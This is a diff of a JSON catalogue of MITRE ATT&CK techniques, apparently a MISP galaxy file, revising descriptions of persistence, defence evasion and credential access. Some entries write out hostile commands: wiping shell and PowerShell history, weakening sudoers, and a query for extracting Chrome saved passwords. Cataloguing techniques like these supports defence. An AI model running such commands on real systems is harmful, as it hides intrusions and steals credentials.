+3523,7 @@ "value": "Compromise Hardware Supply Chain - T1195.003" }, { - "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)", + "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example: \n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "meta": { "external_id": "CAPEC-556", "kill_chain": [ @@ -3959,7 +3762,7 @@ "value": "Disable Windows Event Logging - T1562.002" }, { - "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging.", + "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", "meta": { "external_id": "CAPEC-13", "kill_chain": [ @@ -3972,8 +3775,7 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1562/003", @@ -3993,65 +3795,7 @@ "value": "Impair Command History Logging - T1562.003" }, { - "description": "Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files.", - "meta": { - "external_id": "T1629.003", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1629/003" - ] - }, - "related": [ - { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "type": "subtechnique-of" - } - ], - "uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "value": "Disable or Modify Tools - T1629.003" - }, - { - "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. ", - "meta": { - "external_id": "SPC-21", - "kill_chain": [ - "mitre-mobile-attack:initial-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1474/002", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html" - ] - }, - "related": [ - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "type": "subtechnique-of" - } - ], - "uuid": "c08366bb-8d11-4921-853f-f0a3b6a2a1da", - "value": "Compromise Hardware Supply Chain - T1474.002" - }, - { - "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", + "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", "meta": { "external_id": "T1548.002", "kill_chain": [ @@ -4126,7 +3870,7 @@ "value": "User Activity Based Checks - T1497.002" }, { - "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", + "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", "meta": { "external_id": "T1552.005", "kill_chain": [ @@ -4186,36 +3930,7 @@ "value": "Exfiltration to Cloud Storage - T1567.002" }, { - "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.", - "meta": { - "external_id": "SPC-20", - "kill_chain": [ - "mitre-mobile-attack:initial-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1474/003", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html" - ] - }, - "related": [ - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "type": "subtechnique-of" - } - ], - "uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", - "value": "Compromise Software Supply Chain - T1474.003" - }, - { - "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", + "description": "Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", "meta": { "external_id": "T1548.003", "kill_chain": [ @@ -4249,7 +3964,7 @@ "value": "Sudo and Sudo Caching - T1548.003" }, { - "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "meta": { "external_id": "T1555.003", "kill_chain": [ @@ -4397,7 +4112,7 @@ "value": "Elevated Execution with Prompt - T1548.004" }, { - "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ", + "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.", "meta": { "external_id": "T1499.004", "kill_chain": [ @@ -4434,7 +4149,7 @@ "value": "Application or System Exploitation - T1499.004" }, { - "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)", + "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)", "meta": { "external_id": "T1547.006", "kill_chain": [ @@ -4445,8 +4160,7 @@ "Command: Command Execution", "File: File Creation", "File: File Modification", - "Kernel: Kernel Module Load", - "Process: Process Creation" + "Kernel: Kernel Module Load" ], "mitre_platforms": [ "macOS", @@ -4466,7 +4180,6 @@ "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/", "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/", "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/", - "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web", "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html", "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/", @@ -4495,7 +4208,7 @@ "mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", - "Service: Service Modification", + "Service: Service Metadata", "Windows Registry: Windows Registry Key Modification" ], "mitre_platforms": [ @@ -4650,7 +4363,7 @@ "value": "Data Transfer Size Limits - T1030" }, { - "description": "Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", + "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", "meta": { "external_id": "T1005", "kill_chain": [ @@ -4659,27 +4372,22 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "Process: OS API Execution", - "Process: Process Creation", "Script: Script Execution" ], "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1005", - "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://attack.mitre.org/techniques/T1005" ] }, "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "value": "Data from Local System - T1005" }, { - "description": "Adversaries may delete or modify artifacts generated on a host system to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", + "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "meta": { "external_id": "CAPEC-93", "kill_chain": [ @@ -4701,8 +4409,7 @@ "Linux", "macOS", "Windows", - "Containers", - "Network" + "Containers" ], "refs": [ "https://attack.mitre.org/techniques/T1070", @@ -4740,7 +4447,7 @@ "value": "Exfiltration Over C2 Channel - T1041" }, { - "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", + "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote 